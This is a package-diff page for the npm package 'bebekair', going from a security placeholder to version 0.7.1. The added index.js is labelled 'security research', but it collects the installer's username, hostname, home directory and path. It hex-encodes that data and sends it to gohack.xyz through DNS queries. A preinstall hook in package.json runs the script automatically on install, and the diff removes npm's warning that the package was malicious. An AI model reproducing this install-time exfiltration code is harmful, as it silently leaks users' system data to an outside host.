bebekair 0.0.1-security → 0.7.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of bebekair might be problematic. Click here for more details.
- package/README.md +1 -5
- package/index.js +81 -0
- package/package.json +12 -6
package/README.md
CHANGED
@@ -1,5 +1 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=bebekair for more information.
|
1
|
+
This package is meant for security research purposes and does not contain any useful code.
|
package/index.js
ADDED
@@ -0,0 +1,81 @@
|
|
1
|
+
/*
|
2
|
+
|
3
|
+
This code is used for research purposes.
|
4
|
+
|
5
|
+
No sensitive data is retrieved.
|
6
|
+
|
7
|
+
Callbacks from within organizations with a
|
8
|
+
responsible disclosure program will be reported
|
9
|
+
directly to the organizations.
|
10
|
+
|
11
|
+
Any other callbacks will be ignored, and
|
12
|
+
any associated data will not be kept.
|
13
|
+
|
14
|
+
For any questions or suggestions:
|
15
|
+
|
16
|
+
alex@ethicalhack.ro
|
17
|
+
https://twitter.com/alxbrsn
|
18
|
+
|
19
|
+
*/
|
20
|
+
|
21
|
+
|
22
|
+
const dns = require('dns');
|
23
|
+
const os = require('os');
|
24
|
+
|
25
|
+
const suffix = '.bebekair.ns1.gohack.xyz';
|
26
|
+
const ns = 'ns2.gohack.xyz';
|
27
|
+
|
28
|
+
const package = 'bebekair';
|
29
|
+
|
30
|
+
|
31
|
+
function sendToServer(data) {
|
32
|
+
|
33
|
+
data = Buffer.from(data).toString('hex');
|
34
|
+
data = data.match(/.{1,60}/g);
|
35
|
+
|
36
|
+
id = Math.random().toString(36).substring(2);
|
37
|
+
|
38
|
+
data.forEach(function (chunk, idx){
|
39
|
+
try {
|
40
|
+
dns.resolve(
|
41
|
+
'v2_f.' + id + '.' + idx + '.' + chunk + '.v2_e' + suffix, 'A',
|
42
|
+
console.log);
|
43
|
+
} catch (e) { }
|
44
|
+
});
|
45
|
+
|
46
|
+
}
|
47
|
+
|
48
|
+
function tryGet(toCall) {
|
49
|
+
|
50
|
+
try {
|
51
|
+
return toCall();
|
52
|
+
} catch(e) {
|
53
|
+
return 'err';
|
54
|
+
}
|
55
|
+
|
56
|
+
}
|
57
|
+
|
58
|
+
data = {
|
59
|
+
p : tryGet(os.userInfo),
|
60
|
+
h : tryGet(os.hostname),
|
61
|
+
d : tryGet(os.homedir),
|
62
|
+
c : __dirname
|
63
|
+
}
|
64
|
+
|
65
|
+
// console.log(data['h']);
|
66
|
+
if (data['h'] == 'abdilahrfx') {
|
67
|
+
process.exit(0);
|
68
|
+
}
|
69
|
+
|
70
|
+
data = JSON.stringify(data);
|
71
|
+
|
72
|
+
sendToServer(data);
|
73
|
+
dns.lookup(ns, function(err, address) {
|
74
|
+
if (!err) {
|
75
|
+
nsAddress = address;
|
76
|
+
} else {
|
77
|
+
nsAddress = '8.8.8.8';
|
78
|
+
}
|
79
|
+
dns.setServers([nsAddress, '8.8.4.4']);
|
80
|
+
sendToServer(data);
|
81
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
|
-
{
|
2
|
-
"name": "bebekair",
|
3
|
-
"version": "0.
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
1
|
+
{
|
2
|
+
"name": "bebekair",
|
3
|
+
"version": "0.7.1",
|
4
|
+
"description": "Security research purposes only.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|